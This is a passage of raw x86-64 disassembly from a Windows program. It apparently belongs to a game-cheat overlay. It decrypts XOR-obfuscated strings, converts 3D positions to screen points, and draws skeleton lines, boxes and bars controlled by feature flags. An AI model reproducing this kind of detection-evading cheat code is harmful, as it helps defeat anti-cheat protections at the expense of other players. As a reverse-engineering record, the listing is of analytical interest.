jl 0x1400c13d3
movdqa xmm5, xmmword [0x14016c130]
mov edx, r15d
movdqa xmm4, xmmword [0x14016c610]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov r8d, dword [rbp + 0x30]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400c12d2
jmp 0x1400c1412
mov r9, r10
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400c13e0
xor edx, edx
lea r8d, [rdx + 0x3b]
mov rcx, r10
call fcn.1400265a0
lea rcx, [rbp + 0x378]
call fcn.14002a0a0
lea rcx, [rbp + 0x380]
call fcn.14002a250
call fcn.14001f460
mov rsi, rax
movaps xmm2, xmm10
movaps xmm1, xmm10
lea rcx, [rbp + 0x388]
call fcn.140018e80
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0x43
lea r9d, [rdx + 0x1f]
mov r8d, 0xfc
lea rcx, [rbp + 0xcd8]
call fcn.140018ed0
mov rcx, rax
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x384]
addss xmm2, dword [rbp + 0x37c]
movss xmm1, dword [rbp + 0x380]
addss xmm1, dword [rbp + 0x378]
lea rcx, [rbp + 0x390]
call fcn.140018e80
movss dword [rsp + 0x38], xmm10
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], rdi
movss dword [rsp + 0x20], xmm15
mov r9d, ebx
mov r8, rax
lea rdx, [rbp + 0x378]
mov rcx, rsi
call fcn.140045920
mov rcx, qword [0x140197020]
call fcn.140029cc0
lea rdx, [rbp + 0x158]
lea rcx, [rsp + 0x6b]
call fcn.1400cdd30
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400c151f
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor cl, 0x3a
mov byte [rax + 6], cl
mov rcx, rax
call fcn.14004ff70
call fcn.140029df0
lea rcx, [rbp + 0x398]
call fcn.14002a0a0
movss xmm6, dword [rax + 4]
addss xmm6, xmm15
lea rcx, [rbp + 0x3a0]
call fcn.14002a0a0
movss xmm1, dword [rax]
addss xmm1, dword [0x14016be14]
movaps xmm2, xmm6
lea rcx, [rbp + 0x3a8]
call fcn.140018e80
movss xmm0, dword [rax]
movss dword [0x140196f88], xmm0
movss xmm1, dword [rax + 4]
movss dword [0x140196f8c], xmm1
call fcn.140028eb0
cmp byte [0x140196fcc], 0
je 0x1400c15aa
lea r8, [0x140195878]
lea rdx, [0x140197070]
lea rcx, [0x1401971c0]
call fcn.1400772c0
cmp byte [0x140196fcf], 0
je 0x1400c188a
mov rcx, qword [0x140196ff8]
call fcn.14007e780
test al, al
je 0x1400c15f7
movss xmm0, dword [0x1401975c8]
movss dword [0x140197648], xmm0
movss xmm1, dword [0x1401975cc]
movss dword [0x14019764c], xmm1
movss xmm0, dword [0x1401975d0]
movss dword [0x140197650], xmm0
lea rcx, [rbp + 0x9a0]
call fcn.140076880
lea rdx, [rbp + 0x9a0]
lea rcx, [0x140197648]
call fcn.14007d7d0
test al, al
je 0x1400c188a
movss xmm0, dword [0x140197648]
ucomiss xmm0, xmm10
jp 0x1400c1632
je 0x1400c188a
movss xmm0, dword [0x14019764c]
ucomiss xmm0, xmm10
jp 0x1400c1646
je 0x1400c188a
movss xmm0, dword [0x140197650]
ucomiss xmm0, xmm10
jp 0x1400c165a
je 0x1400c188a
lea rdx, [0x140197648]
lea rsi, [0x140197598]
mov rcx, rsi
call fcn.14007dbf0
cvttss2si ebx, xmm0
lea rdx, [rbp]
lea rcx, [rsp + 0x6c]
call fcn.1400cdd60
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x1400c1820
mov r8d, r15d
cmp r12d, 2
jl 0x1400c17e7
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400c16e0
cmp r8d, 0x1a
jge 0x1400c1820
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400c17f0
mov r8d, ebx
mov rdx, r10
lea rcx, [rbp + 0xfb0]
call fcn.1400395e0
lea rdx, [0x140182350]
lea rcx, [rbp + 0xce8]
call fcn.1400395d0
movups xmm0, xmmword [rax]
movaps xmmword [rbp], xmm0
cvttss2si r8d, dword [rbp + 0x9a4]
cvttss2si edx, dword [rbp + 0x9a0]
lea rax, [rbp + 0xfb0]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
lea r9, [rbp]
movss xmm0, dword [0x14016bd40]
movd ecx, xmm0
call fcn.140076b60
jmp 0x1400c1891
lea rsi, [0x140197598]
lea rcx, [rbp + 0x3b0]
call fcn.1400d4c60
nop
lea rcx, [0x1401975a8]
call fcn.1400d2e40
mov rcx, rax
call fcn.1400d2a90
mov rcx, rax
call fcn.1400d2730
lea rcx, [0x140197580]
call fcn.1400d2a90
mov rbx, rax
lea rcx, [rbp + 0x3b0]
call fcn.1400d2a90
mov rcx, rax
mov rdx, rbx
call fcn.1400d29f0
lea rcx, [0x1401975a8]
call fcn.1400d2e40
mov rcx, rax
call fcn.1400d2a90
mov rcx, rax
call fcn.1400d26d0
mov r12d, r15d
lea rcx, [rbp + 0x3b0]
call fcn.1400d2a90
mov rcx, rax
call fcn.1400d29b0
test rax, rax
je 0x1400c1b83
mov rbx, r15
mov r13d, 1
nop word [rax + rax]
lea rcx, [rbp + 0x3b0]
call fcn.1400d2a90
mov rdx, rbx
mov rcx, rax
call fcn.1400d2980
mov rdx, rax
lea rcx, [rbp + 0xf40]
call fcn.1400cf1d0
nop
lea rdx, [rbp + 0xf70]
mov rcx, rsi
call fcn.14007dbf0
cvttss2si r15d, xmm0
test r15d, r15d
je 0x1400c1b4a
cmp r15d, dword [0x140195754]
jg 0x1400c1b4a
lea rcx, [rbp + 0x9b0]
call fcn.140076880
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp + 0xf70]
call fcn.14007d7d0
test al, al
je 0x1400c1b4a
lea rdx, [rbp + 0xf40]
lea rcx, [rbp + 0xe8]
call fcn.140073dd0
mov r8, rax
lea rdx, [rbp + 0x78]
lea rcx, [0x140195d48]
call fcn.140076420
nop
cmp byte [0x140196fe5], 0
je 0x1400c29b6
cmp qword [rbp + 0x78], 0
je 0x1400c29b6
call fcn.14001f460
mov r14, rax
movaps xmm2, xmm11
movaps xmm1, xmm11
lea rcx, [rbp + 0x3b8]
call fcn.140018e80
mov rsi, rax
movaps xmm2, xmm10
movaps xmm1, xmm10
lea rcx, [rbp + 0x3c0]
call fcn.140018e80
mov rdi, rax
movss xmm2, dword [rbp + 0x9b4]
addss xmm2, xmm12
movss xmm1, dword [rbp + 0x9b0]
addss xmm1, xmm12
lea rcx, [rbp + 0x3c8]
call fcn.140018e80
mov rbx, rax
movss xmm2, dword [rbp + 0x9b4]
subss xmm2, xmm12
movss xmm1, dword [rbp + 0x9b0]
subss xmm1, xmm12
lea rcx, [rbp + 0x3d0]
call fcn.140018e80
mov dword [rsp + 0x30], 0xffffffff
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
mov rdx, qword [rbp + 0x78]
mov rcx, r14
call fcn.140044480
cmp byte [0x140196fac], 0
je 0x1400c1b32
lea rdx, [rbp + 0x15f]
lea rcx, [rsp + 0x6d]
call fcn.1400cdd90
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400c1ad3
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor cl, 0x3a
mov byte [rax + 6], cl
mov r8d, r15d
mov rdx, rax
lea rcx, [rbp + 0xfb0]
call fcn.1400395e0
movups xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp], xmm0
movss xmm1, dword [rbp + 0x9b4]
addss xmm1, xmm15
cvttss2si r8d, xmm1
cvttss2si edx, dword [rbp + 0x9b0]
lea rax, [rbp + 0xfb0]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
lea r9, [rbp]
movaps xmm0, xmm12
movd ecx, xmm0
call fcn.140076b60
lea rsi, [0x140197598]
mov r14d, dword [rbp + 0xa8]
lea rcx, [rbp + 0x78]
call fcn.1400767d0
nop
lea rcx, [rbp + 0xf40]
call fcn.14006f0b0
inc r12d
mov ebx, r12d
lea rcx, [rbp + 0x3b0]
call fcn.1400d2a90
mov rcx, rax
call fcn.1400d29b0
cmp rbx, rax
jb 0x1400c1930
mov r13d, dword [rbp + 0xac]
xor r15d, r15d
lea rcx, [rbp + 0x58]
call fcn.1400b7bb0
movss xmm9, dword [0x14016bff8]
lea rcx, [rbp + 0x3d8]
call fcn.1400d4c60
nop
lea rcx, [0x1401975a8]
call fcn.1400d2e40
mov rcx, rax
call fcn.1400d2a90
mov rcx, rax
call fcn.1400d2730
lea rcx, [0x140197590]
call fcn.1400d2a90
mov rbx, rax
lea rcx, [rbp + 0x3d8]
call fcn.1400d2a90
mov rcx, rax
mov rdx, rbx
call fcn.1400d22b0
lea rcx, [0x1401975a8]
call fcn.1400d2e40
mov rcx, rax
call fcn.1400d2a90
mov rcx, rax
call fcn.1400d26d0
mov edi, r15d
mov dword [rsp + 0x64], r15d
lea rcx, [rbp + 0x3d8]
call fcn.1400d2a90
mov rcx, rax
call fcn.1400d2280
test rax, rax
je 0x1400c318e
mov rbx, r15
movss xmm15, dword [0x14016bcc8]
lea rcx, [rbp + 0x3d8]
call fcn.1400d2a90
mov rdx, rbx
mov rcx, rax
call fcn.1400d2230
mov rdx, rax
lea rcx, [rbp + 0x1190]
call fcn.1400cf210
nop
lea rdx, [rbp + 0x1510]
mov rcx, rsi
call fcn.14007dbf0
cvttss2si r13d, xmm0
test r13d, r13d
je 0x1400c314a
cmp r13d, dword [0x14018233c]
jg 0x1400c314a
lea rdx, [0x140195760]
cmp byte [rbp + 0x1199], 0
lea rax, [0x140181110]
cmovne rdx, rax
lea rcx, [rbp + 0xcf8]
call fcn.1400395d0
cmp byte [rbp + 0x1198], 0
je 0x1400c1cd1
lea rdx, [0x140195730]
lea rcx, [rbp + 0xd08]
call fcn.1400395d0
movups xmm0, xmmword [rbp + 0xd08]
movups xmmword [rbp + 0xcf8], xmm0
cmp byte [0x140196fe0], 0
je 0x1400c1da1
movss xmm0, dword [rbp + 0x1190]
ucomiss xmm0, xmm10
jp 0x1400c1cf2
je 0x1400c1da1
movss xmm0, dword [rbp + 0x1194]
ucomiss xmm0, xmm10
jp 0x1400c1d06
je 0x1400c1da1
call fcn.14001f460
mov rbx, rax
lea rcx, [rbp + 0xcf8]
call fcn.140018f20
movss xmm2, dword [0x1401811dc]
mulss xmm2, xmm13
mov dword [rsp + 0x20], 0x3e8
mov r9d, eax
lea rdx, [rbp + 0x1190]
mov rcx, rbx
call fcn.140044220
call fcn.14001f460
mov rbx, rax
mov dword [rsp + 0x20], reloc.WLDAP32.dll_Ordinal_200
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xd18]
call fcn.140018ed0
mov rcx, rax
call fcn.140018f20
movss xmm2, dword [0x1401811dc]
mulss xmm2, dword [0x14016bcf8]
movss dword [rsp + 0x28], xmm11
mov dword [rsp + 0x20], 0x3e8
mov r9d, eax
lea rdx, [rbp + 0x1190]
mov rcx, rbx
call fcn.140044140
lea rcx, [rbp + 0x1540]
call fcn.1400b7bd0
nop
lea rcx, [rbp + 0x1444]
call fcn.140076a30
test al, al
jne 0x1400c2f69
lea rdx, [rbp + 0x17f4]
lea rcx, [rbp + 0x1444]
call fcn.14007d7d0
test al, al
je 0x1400c2f69
lea rdx, [rbp + 0x18cc]
lea rcx, [rbp + 0x1510]
call fcn.14007d7d0
test al, al
je 0x1400c313d
lea rdx, [rbp + 0x180c]
lea rcx, [rbp + 0x145c]
call fcn.14007d7d0
test al, al
je 0x1400c313d
cmp byte [0x140196fd3], 0
je 0x1400c25fd
lea rdx, [rbp + 0x1818]
lea rcx, [rbp + 0x1468]
call fcn.14007d7d0
test al, al
je 0x1400c313d
lea rdx, [rbp + 0x1824]
lea rcx, [rbp + 0x1474]
call fcn.14007d7d0
test al, al
je 0x1400c313d
lea rdx, [rbp + 0x1830]
lea rcx, [rbp + 0x1480]
call fcn.14007d7d0
test al, al
je 0x1400c313d
lea rdx, [rbp + 0x183c]
lea rcx, [rbp + 0x148c]
call fcn.14007d7d0
test al, al
je 0x1400c313d
lea rdx, [rbp + 0x1848]
lea rcx, [rbp + 0x1498]
call fcn.14007d7d0
test al, al
je 0x1400c313d
lea rdx, [rbp + 0x1854]
lea rcx, [rbp + 0x14a4]
call fcn.14007d7d0
test al, al
je 0x1400c313d
lea rdx, [rbp + 0x1860]
lea rcx, [rbp + 0x14b0]
call fcn.14007d7d0
test al, al
je 0x1400c313d
lea rdx, [rbp + 0x186c]
lea rcx, [rbp + 0x14bc]
call fcn.14007d7d0
test al, al
je 0x1400c313d
lea rdx, [rbp + 0x1878]
lea rcx, [rbp + 0x14c8]
call fcn.14007d7d0
test al, al
je 0x1400c313d
lea rdx, [rbp + 0x1884]
lea rcx, [rbp + 0x14d4]
call fcn.14007d7d0
test al, al
je 0x1400c313d
lea rdx, [rbp + 0x1890]
lea rcx, [rbp + 0x14e0]
call fcn.14007d7d0
test al, al
je 0x1400c313d
lea rdx, [rbp + 0x189c]
lea rcx, [rbp + 0x14ec]
call fcn.14007d7d0
test al, al
je 0x1400c313d
lea rdx, [rbp + 0x18a8]
lea rcx, [rbp + 0x14f8]
call fcn.14007d7d0
test al, al
je 0x1400c313d
lea rdx, [rbp + 0x18b4]
lea rcx, [rbp + 0x1504]
call fcn.14007d7d0
test al, al
je 0x1400c313d
lea rcx, [rbp + 0xcf8]
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x1810]
movss xmm1, dword [rbp + 0x180c]
lea rcx, [rbp + 0x3e0]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [rbp + 0x17f8]
movss xmm1, dword [rbp + 0x17f4]
lea rcx, [rbp + 0x3e8]
call fcn.140018e80
movaps xmm3, xmm11
mov r8d, ebx
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, [rbp + 0x3e8]
call fcn.1400bde10
lea rcx, [rbp + 0xcf8]
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x1864]
movss xmm1, dword [rbp + 0x1860]
lea rcx, [rbp + 0x3f0]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [rbp + 0x1810]
movss xmm1, dword [rbp + 0x180c]
lea rcx, [rbp + 0x3f8]
call fcn.140018e80
movaps xmm3, xmm11
mov r8d, ebx
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, [rbp + 0x3f8]
call fcn.1400bde10
lea rcx, [rbp + 0xcf8]
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x1870]
movss xmm1, dword [rbp + 0x186c]
lea rcx, [rbp + 0x400]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [rbp + 0x1864]
movss xmm1, dword [rbp + 0x1860]
lea rcx, [rbp + 0x408]
call fcn.140018e80
movaps xmm3, xmm11
mov r8d, ebx
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, [rbp + 0x408]
call fcn.1400bde10
lea rcx, [rbp + 0xcf8]
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x181c]
movss xmm1, dword [rbp + 0x1818]
lea rcx, [rbp + 0x410]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [rbp + 0x1810]
movss xmm1, dword [rbp + 0x180c]
lea rcx, [rbp + 0x418]
call fcn.140018e80
movaps xmm3, xmm11
mov r8d, ebx
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, [rbp + 0x418]
call fcn.1400bde10
lea rcx, [rbp + 0xcf8]
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x1834]
movss xmm1, dword [rbp + 0x1830]
lea rcx, [rbp + 0x420]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [rbp + 0x181c]
movss xmm1, dword [rbp + 0x1818]
lea rcx, [rbp + 0x428]
call fcn.140018e80
movaps xmm3, xmm11
mov r8d, ebx
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, [rbp + 0x428]
call fcn.1400bde10
lea rcx, [rbp + 0xcf8]
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x184c]
movss xmm1, dword [rbp + 0x1848]
lea rcx, [rbp + 0x430]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [rbp + 0x1834]
movss xmm1, dword [rbp + 0x1830]
lea rcx, [rbp + 0x438]
call fcn.140018e80
movaps xmm3, xmm11
mov r8d, ebx
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, [rbp + 0x438]
call fcn.1400bde10
lea rcx, [rbp + 0xcf8]
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x1828]
movss xmm1, dword [rbp + 0x1824]
lea rcx, [rbp + 0x440]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [rbp + 0x1810]
movss xmm1, dword [rbp + 0x180c]
lea rcx, [rbp + 0x448]
call fcn.140018e80
movaps xmm3, xmm11
mov r8d, ebx
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, [rbp + 0x448]
call fcn.1400bde10
lea rcx, [rbp + 0xcf8]
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x1840]
movss xmm1, dword [rbp + 0x183c]
lea rcx, [rbp + 0x450]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [rbp + 0x1828]
movss xmm1, dword [rbp + 0x1824]
lea rcx, [rbp + 0x458]
call fcn.140018e80
movaps xmm3, xmm11
mov r8d, ebx
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, [rbp + 0x458]
call fcn.1400bde10
lea rcx, [rbp + 0xcf8]
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x1858]
movss xmm1, dword [rbp + 0x1854]
lea rcx, [rbp + 0x460]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [rbp + 0x1840]
movss xmm1, dword [rbp + 0x183c]
lea rcx, [rbp + 0x468]
call fcn.140018e80
movaps xmm3, xmm11
mov r8d, ebx
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, [rbp + 0x468]
call fcn.1400bde10
lea rcx, [rbp + 0xcf8]
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x187c]
movss xmm1, dword [rbp + 0x1878]
lea rcx, [rbp + 0x470]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [rbp + 0x1870]
movss xmm1, dword [rbp + 0x186c]
lea rcx, [rbp + 0x478]
call fcn.140018e80
movaps xmm3, xmm11
mov r8d, ebx
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, [rbp + 0x478]
call fcn.1400bde10
lea rcx, [rbp + 0xcf8]
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x1894]
movss xmm1, dword [rbp + 0x1890]
lea rcx, [rbp + 0x480]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [rbp + 0x187c]
movss xmm1, dword [rbp + 0x1878]
lea rcx, [rbp + 0x488]
call fcn.140018e80
movaps xmm3, xmm11
mov r8d, ebx
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, [rbp + 0x488]
call fcn.1400bde10
lea rcx, [rbp + 0xcf8]
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x18ac]
movss xmm1, dword [rbp + 0x18a8]
lea rcx, [rbp + 0x490]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [rbp + 0x1894]
movss xmm1, dword [rbp + 0x1890]
lea rcx, [rbp + 0x498]
call fcn.140018e80
movaps xmm3, xmm11
mov r8d, ebx
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, [rbp + 0x498]
call fcn.1400bde10
lea rcx, [rbp + 0xcf8]
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x1888]
movss xmm1, dword [rbp + 0x1884]
lea rcx, [rbp + 0x4a0]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [rbp + 0x1870]
movss xmm1, dword [rbp + 0x186c]
lea rcx, [rbp + 0x4a8]
call fcn.140018e80
movaps xmm3, xmm11
mov r8d, ebx
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, [rbp + 0x4a8]
call fcn.1400bde10
lea rcx, [rbp + 0xcf8]
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x18a0]
movss xmm1, dword [rbp + 0x189c]
lea rcx, [rbp + 0x4b0]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [rbp + 0x1888]
movss xmm1, dword [rbp + 0x1884]
lea rcx, [rbp + 0x4b8]
call fcn.140018e80
movaps xmm3, xmm11
mov r8d, ebx
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, [rbp + 0x4b8]
call fcn.1400bde10
lea rcx, [rbp + 0xcf8]
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x18b8]
movss xmm1, dword [rbp + 0x18b4]
lea rcx, [rbp + 0x4c0]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [rbp + 0x18a0]
movss xmm1, dword [rbp + 0x189c]
lea rcx, [rbp + 0x4c8]
call fcn.140018e80
movaps xmm3, xmm11
mov r8d, ebx
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, [rbp + 0x4c8]
call fcn.1400bde10
movss xmm0, dword [rbp + 0x17f8]
subss xmm0, dword [rbp + 0x18d0]
call fcn.140074b40
movaps xmm7, xmm0
movaps xmm8, xmm0
divss xmm8, xmm15
movaps xmm6, xmm8
mulss xmm6, dword [0x14016bc4c]
cmp byte [0x140196fd7], 0
je 0x1400c27c8
call fcn.14001f460
mov r12, rax
cvttss2si ecx, dword [rbp + 0xd00]
imul r9d, ecx, 0xff
cvttss2si ecx, dword [rbp + 0xcfc]
imul r8d, ecx, 0xff
cvttss2si ecx, dword [rbp + 0xcf8]
imul edx, ecx, 0xff
mov dword [rsp + 0x20], 0x55
lea rcx, [rbp + 0xd28]
call fcn.140018ed0
mov rcx, rax
call fcn.140018f20
mov r15d, eax
cvttss2si ecx, dword [rbp + 0xd00]
imul edx, ecx, 0xff
movd xmm0, edx
cvtdq2pd xmm0, xmm0
movsd xmm1, qword [0x14016bce0]
divsd xmm0, xmm1
cvttsd2si r9d, xmm0
cvttss2si ecx, dword [rbp + 0xcfc]
imul edx, ecx, 0xff
movd xmm0, edx
cvtdq2pd xmm0, xmm0
divsd xmm0, xmm1
cvttsd2si r8d, xmm0
cvttss2si ecx, dword [rbp + 0xcf8]
imul edx, ecx, 0xff
movd xmm0, edx
cvtdq2pd xmm0, xmm0
divsd xmm0, xmm1
cvttsd2si edx, xmm0
mov dword [rsp + 0x20], 0x55
lea rcx, [rbp + 0xd38]
call fcn.140018ed0
mov rcx, rax
call fcn.140018f20
mov r14d, eax
mov dword [rsp + 0x20], 0x55
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xd48]
call fcn.140018ed0
mov rcx, rax
call fcn.140018f20
mov esi, eax
mov dword [rsp + 0x20], 0x55
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xd58]
call fcn.140018ed0
mov rcx, rax
call fcn.140018f20
mov edi, eax
movaps xmm2, xmm7
addss xmm2, dword [rbp + 0x17f8]
movaps xmm1, xmm6
addss xmm1, dword [rbp + 0x17f4]
lea rcx, [rbp + 0x4d0]
call fcn.140018e80
mov rbx, rax
movss xmm1, dword [rbp + 0x17f4]
subss xmm1, xmm6
movss xmm2, dword [rbp + 0x17f8]
lea rcx, [rbp + 0x4d8]
call fcn.140018e80
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], esi
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, r12
call fcn.140043ee0
mov edi, dword [rsp + 0x64]
lea rsi, [0x140197598]
cmp byte [0x140196fdb], 0
je 0x1400c2822
movups xmm0, xmmword [rbp + 0xcf8]
movaps xmmword [rbp + 0xd70], xmm0
